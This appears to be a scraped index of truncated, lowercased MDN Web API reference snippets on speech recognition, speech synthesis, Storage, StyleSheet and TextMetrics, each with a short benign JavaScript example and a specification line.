SpeechRecognition.onerror - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); } specifications specification status comment web speech apithe definition of 'onerror' in that specification.
SpeechRecognition.onnomatch - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onnomatch = function() { console.log('speech not recognised'); } specifications specification status comment web speech apithe definition of 'onnomatch' in that specification.
SpeechRecognition.onresult - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'onresult' in that specification.
SpeechRecognition.onsoundend - Web APIs
}; examples recognition.onsoundend = function() { console.log('sound has stopped being received'); } specifications specification status comment web speech apithe definition of 'onsoundend' in that specification.
SpeechRecognition.onsoundstart - Web APIs
}; examples recognition.onsoundstart = function() { console.log('some sound is being received'); } specifications specification status comment web speech apithe definition of 'onsoundstart' in that specification.
SpeechRecognition.onspeechend - Web APIs
}; examples recognition.onspeechend = function() { console.log('speech has stopped being detected'); } specifications specification status comment web speech apithe definition of 'onspeechend' in that specification.
SpeechRecognition.onspeechstart - Web APIs
}; examples recognition.onspeechstart = function() { console.log('speech has been detected'); } specifications specification status comment web speech apithe definition of 'onspeechstart' in that specification.
SpeechRecognition.onstart - Web APIs
}; examples recognition.onstart = function() { console.log('speech recognition service has started'); } specifications specification status comment web speech apithe definition of 'onstart' in that specification.
SpeechRecognition: result event - Web APIs
'result received: ' + color + '.'; bg.style.backgroundcolor = color; }); or use the onresult event handler property: recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: soundend event - Web APIs
itspeechrecognition() || new speechrecognition(); recognition.addeventlistener('soundend', function(event) { console.log('sound has stopped being received'); }); or use the onsoundend event handler property: recognition.onsoundend = function(event) { console.log('sound has stopped being received'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: soundstart event - Web APIs
n = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('soundstart', function() { console.log('some sound is being received'); }); or use the onsoundstart event handler property: recognition.onsoundstart = function() { console.log('some sound is being received'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: speechend event - Web APIs
webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speechend', function() { console.log('speech has stopped being detected'); }); or use the onspeechend event handler property: recognition.onspeechend = function() { console.log('speech has stopped being detected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: speechstart event - Web APIs
nition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speechstart', function() { console.log('speech has been detected'); }); or use the onspeechstart event handler property: recognition.onspeechstart = function() { console.log('speech has been detected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.start() - Web APIs
function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'start()' in that specification.
SpeechRecognition: start event - Web APIs
ew webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('start', function() { console.log('speech recognition service has started'); }); or use the onstart event handler property: recognition.onstart = function() { console.log('speech recognition service has started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.stop() - Web APIs
function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'stop()' in that specification.
SpeechRecognition - Web APIs
or('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognition' in that specification.
SpeechRecognitionAlternative.confidence - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log('confidence: ' + event.results[0][0].confidence); } specifications specification status comment web speech apithe definition of 'confidence' in that specification.
SpeechRecognitionAlternative.transcript - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'transcript' in that specification.
SpeechRecognitionAlternative - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionalternative' in that specification.
SpeechRecognitionErrorEvent.error - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'error' in that specification.
SpeechRecognitionErrorEvent.message - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'message' in that specification.
SpeechRecognitionErrorEvent - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'speechrecognitionerrorevent' in that specification.
SpeechRecognitionEvent.resultIndex - Web APIs
examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.resultindex); // returns 0 if there is only one result } specifications specification status comment web speech apithe definition of 'resultindex' in that specification.
SpeechRecognitionEvent.results - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'results' in that specification.
SpeechRecognitionEvent - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionevent' in that specification.
SpeechRecognitionResult.isFinal - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results[0].isfinal); } specifications specification status comment web speech apithe definition of 'isfinal' in that specification.
SpeechRecognitionResult.item() - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResult - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresult' in that specification.
SpeechRecognitionResultList.item() - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResultList.length - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.results.length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognitionResultList - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresultlist' in that specification.
SpeechSynthesis.cancel() - Web APIs
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.cancel(); // utterance1 stops being spoken immediately, and both are removed from the queue specifications specification status comment web speech apithe definition of 'cancel()' in that specification.
SpeechSynthesis.onvoiceschanged - Web APIs
+= ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } specifications specification status comment web speech apithe definition of 'onvoiceschanged' in that specification.
SpeechSynthesis.pause() - Web APIs
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken specifications specification status comment web speech apithe definition of 'pause()' in that specification.
SpeechSynthesis.paused - Web APIs
examples var synth = window.speechsynthesis; synth.pause(); var amipaused = synth.paused; // will return true specifications specification status comment web speech apithe definition of 'paused' in that specification.
SpeechSynthesis.pending - Web APIs
sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amipending = synth.pending; // will return true if utterance 1 is still being spoken and utterance 2 is in the queue specifications specification status comment web speech apithe definition of 'pending' in that specification.
SpeechSynthesis.resume() - Web APIs
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken synth.resume() // resumes speaking specifications specification status comment web speech apithe definition of 'resume()' in that specification.
SpeechSynthesis.speak() - Web APIs
his = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speak()' in that specification.
SpeechSynthesis.speaking - Web APIs
te a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amispeaking = synth.speaking; // will return true if utterance 1 or utterance 2 are currently being spoken specifications specification status comment web speech apithe definition of 'speaking' in that specification.
SpeechSynthesis: voiceschanged event - Web APIs
(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } specifications specification status comment web speech apithe definition of 'speech synthesis events' in that specification.
SpeechSynthesis - Web APIs
doption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesis' in that specification.
SpeechSynthesisErrorEvent.error - Web APIs
for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.error('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'error' in that specification.
SpeechSynthesisErrorEvent - Web APIs
; for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesiserrorevent' in that specification.
SpeechSynthesisEvent.charIndex - Web APIs
examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'charindex' in that specification.
SpeechSynthesisEvent.elapsedTime - Web APIs
examples utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' seconds.'); } specifications specification status comment web speech apithe definition of 'elapsedtime' in that specification.
SpeechSynthesisEvent.name - Web APIs
examples utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'name' in that specification.
SpeechSynthesisEvent.utterance - Web APIs
examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'utterance' in that specification.
SpeechSynthesisEvent - Web APIs
erance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speechsynthesisevent' in that specification.
SpeechSynthesisUtterance.SpeechSynthesisUtterance() - Web APIs
his = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisutterance()' in that specification.
SpeechSynthesisUtterance: boundary event - Web APIs
ary', function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); }); or use the onboundary event handler property: utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: end event - Web APIs
end', function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); }); or use the onend event handler property: utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: error event - Web APIs
utterthis.addeventlistener('error', function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); }); or use the onerror event handler property: utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance.lang - Web APIs
erance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.lang = 'en-us'; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechSynthesisUtterance: mark event - Web APIs
ples you can use the mark event in an addeventlistener method: utterthis.addeventlistener('mark', function(event) { console.log('a mark was reached: ' + event.name); }); or use the onmark event handler property: utterthis.onmark = function(event) { console.log('a mark was reached: ' + event.name); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance.onboundary - Web APIs
< voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onboundary' in that specification.
SpeechSynthesisUtterance.onend - Web APIs
< voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onend' in that specification.
SpeechSynthesisUtterance.onerror - Web APIs
; for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onerror' in that specification.
SpeechSynthesisUtterance.onmark - Web APIs
ns[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onmark = function(event) { console.log('a mark was reached: ' + event.name); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onmark' in that specification.
SpeechSynthesisUtterance.onpause - Web APIs
me'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onpause' in that specification.
SpeechSynthesisUtterance.onresume - Web APIs
'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onresume' in that specification.
SpeechSynthesisUtterance.onstart - Web APIs
'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onstart = function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onstart' in that specification.
SpeechSynthesisUtterance: pause event - Web APIs
method: utterthis.addeventlistener('pause', function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); }); or use the onpause event handler property: utterthis.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance.pitch - Web APIs
utterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'pitch' in that specification.
SpeechSynthesisUtterance.rate - Web APIs
sutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.rate = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'rate' in that specification.
SpeechSynthesisUtterance: resume event - Web APIs
od: utterthis.addeventlistener('resume', function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); }); or use the onresume event handler property: utterthis.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: start event - Web APIs
hod: utterthis.addeventlistener('start', function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); }); or use the onstart event handler property: utterthis.onstart = function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance.text - Web APIs
nce(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } console.log(utterthis.text); synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'text' in that specification.
SpeechSynthesisUtterance.voice - Web APIs
his = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'voice' in that specification.
SpeechSynthesisUtterance.volume - Web APIs
tterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.volume = 0.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'volume' in that specification.
SpeechSynthesisUtterance - Web APIs
(' + voices[i].lang + ')'; option.value = i; voiceselect.appendchild(option); } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); utterthis.voice = voices[voiceselect.value]; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisutterance' in that specification.
SpeechSynthesisVoice.default - Web APIs
.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'default' in that specification.
SpeechSynthesisVoice.lang - Web APIs
.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechSynthesisVoice.localService - Web APIs
ontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].localservice); option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'localservice' in that specification.
SpeechSynthesisVoice.name - Web APIs
.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'name' in that specification.
SpeechSynthesisVoice.voiceURI - Web APIs
ontent += ' -- default'; } console.log(voices[i].voiceuri); // on mac, this returns urns, for example 'urn:moz-tts:osx:com.apple.speech.synthesis.voice.daniel' option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'voiceuri' in that specification.
SpeechSynthesisVoice - Web APIs
.rate = rate.value; synth.speak(utterthis); utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisvoice' in that specification.
StereoPannerNode.pan - Web APIs
trol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the controls source.connect(pannode); pannode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'pan' in that specification.
Storage.clear() - Web APIs
WebAPIStorageclear
specifications specification status comment html living standardthe definition of 'storage.clear' in that specification.
Storage.getItem() - Web APIs
WebAPIStoragegetItem
specifications specification status comment html living standardthe definition of 'storage.getitem' in that specification.
Storage.key() - Web APIs
WebAPIStoragekey
specifications specification status comment html living standardthe definition of 'storage.key' in that specification.
Storage.length - Web APIs
WebAPIStoragelength
specifications specification status comment html living standardthe definition of 'storage.length' in that specification.
Storage.removeItem() - Web APIs
specifications specification status comment html living standardthe definition of 'storage.removeitem' in that specification.
Storage.setItem() - Web APIs
WebAPIStoragesetItem
specifications specification status comment html living standardthe definition of 'storage.setitem' in that specification.
Storage - Web APIs
WebAPIStorage
specifications specification status comment html living standardthe definition of 'storage' in that specification.
Storage API - Web APIs
for example: navigator.storage.estimate().then(estimate => { // estimate.quota is the estimated quota // estimate.usage is the estimated number of bytes used }); specifications specification status comment storage living standard initial definition.
Using writable streams - Web APIs
writing to actually write content to the stream we call the sendmessage() function, passing it a message to be written and the stream to write to: sendmessage("hello, world.", writablestream); the sendmessage() definition looks like so: function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defaultwriter.write(chunk); ...
Stylesheet.href - Web APIs
WebAPIStyleSheethref
specifications specification status comment css object model (cssom)the definition of 'stylesheet: href' in that specification.
StyleSheet.media - Web APIs
WebAPIStyleSheetmedia
nt.stylesheets[isheetindex].media)); } /* will log: document.stylesheets[0].media: {"0":"screen"} document.stylesheets[0].media: {"0":"screen","1":"handheld"} document.stylesheets[1].media: {"0":"screen","1":"print"} document.stylesheets[1].media: {"0":"screen"} */ </script> </body> </html> specifications specification status comment css object model (cssom)the definition of 'stylesheet: media' in that specification.
StyleSheet.ownerNode - Web APIs
specifications specification status comment css object model (cssom)the definition of 'stylesheet: ownernode' in that specification.
StyleSheet.parentStyleSheet - Web APIs
specifications specification status comment css object model (cssom)the definition of 'stylesheet: parentstylesheet' in that specification.
StyleSheet.title - Web APIs
WebAPIStyleSheettitle
specifications specification status comment css object model (cssom)the definition of 'stylesheet: title' in that specification.
StyleSheet.type - Web APIs
WebAPIStyleSheettype
syntax string = stylesheet.type example mystylesheet.type = 'text/css'; specifications specification status comment css object model (cssom)the definition of 'stylesheet: type' in that specification.
StyleSheetList - Web APIs
ignoring...', stylesheet.href); } }) .filter(boolean) .join('\n'); specifications specification status comment css object model (cssom)the definition of 'cssstylesheetlist' in that specification.
SubmitEvent - Web APIs
specifications specification status comment html living standardthe definition of 'submitevent' in that specification.
HTMLSlotElement.assignedSlot - Web APIs
WebAPITextassignedSlot
specifications specification status comment domthe definition of 'assignedslot' in that specification.
TextMetrics.actualBoundingBoxAscent - Web APIs
examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.actualboundingboxascent; // 8; specifications specification html living standardthe definition of 'textmetrics.actualboundingboxascent' in that specification.
TextMetrics.actualBoundingBoxDescent - Web APIs
examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.actualboundingboxdescent; // 0; specifications specification html living standardthe definition of 'textmetrics.actualboundingboxdescent' in that specification.
TextMetrics.actualBoundingBoxLeft - Web APIs
examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.actualboundingboxleft; // 0; specifications specification html living standardthe definition of 'textmetrics.actualboundingboxleft' in that specification.
TextMetrics.actualBoundingBoxRight - Web APIs
examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.actualboundingboxright; // 15.633333333333333; specifications specification html living standardthe definition of 'textmetrics.actualboundingboxright' in that specification.
TextMetrics.alphabeticBaseline - Web APIs
examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.alphabeticbaseline; // -0; specifications specification html living standardthe definition of 'textmetrics.alphabeticbaseline' in that specification.
TextMetrics.emHeightAscent - Web APIs
examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.emheightascent; // 7.59765625; specifications specification html living standardthe definition of 'textmetrics.emheightascent' in that specification.
TextMetrics.emHeightDescent - Web APIs
examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.emheightdescent; // -2.40234375; specifications specification html living standardthe definition of 'textmetrics.emheightdescent' in that specification.
TextMetrics.fontBoundingBoxAscent - Web APIs
examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.fontboundingboxascent; // 10; specifications specification html living standardthe definition of 'textmetrics.fontboundingboxascent' in that specification.
TextMetrics.fontBoundingBoxDescent - Web APIs
examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.fontboundingboxdescent; // 3; specifications specification html living standardthe definition of 'textmetrics.fontboundingboxdescent' in that specification.
TextMetrics.hangingBaseline - Web APIs
examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.hangingbaseline; // 6.078125; specifications specification html living standardthe definition of 'textmetrics.hangingbaseline' in that specification.
TextMetrics.ideographicBaseline - Web APIs
examples const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const text = ctx.measuretext('foo'); // returns textmetrics object text.ideographicbaseline; // -1.201171875; specifications specification html living standardthe definition of 'textmetrics.ideographicbaseline' in that specification.
TextMetrics.width - Web APIs
WebAPITextMetricswidth
you can get a textmetrics object using the following code: const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let text = ctx.measuretext('foo'); // textmetrics object text.width; // 16; specifications specification html living standardthe definition of 'textmetrics.width' in that specification.
TextMetrics - Web APIs
.getcontext('2d'); const text = 'abcdefghijklmnop'; ctx.font = 'italic 50px serif'; const textmetrics = ctx.measuretext(text); console.log(textmetrics.width); // 459.8833312988281 console.log(math.abs(textmetrics.actualboundingboxleft) + math.abs(textmetrics.actualboundingboxright)); // 462.8833333333333 specifications specification html living standardthe definition of 'textmetrics' in that specification.
TextTrack: cuechange event - Web APIs
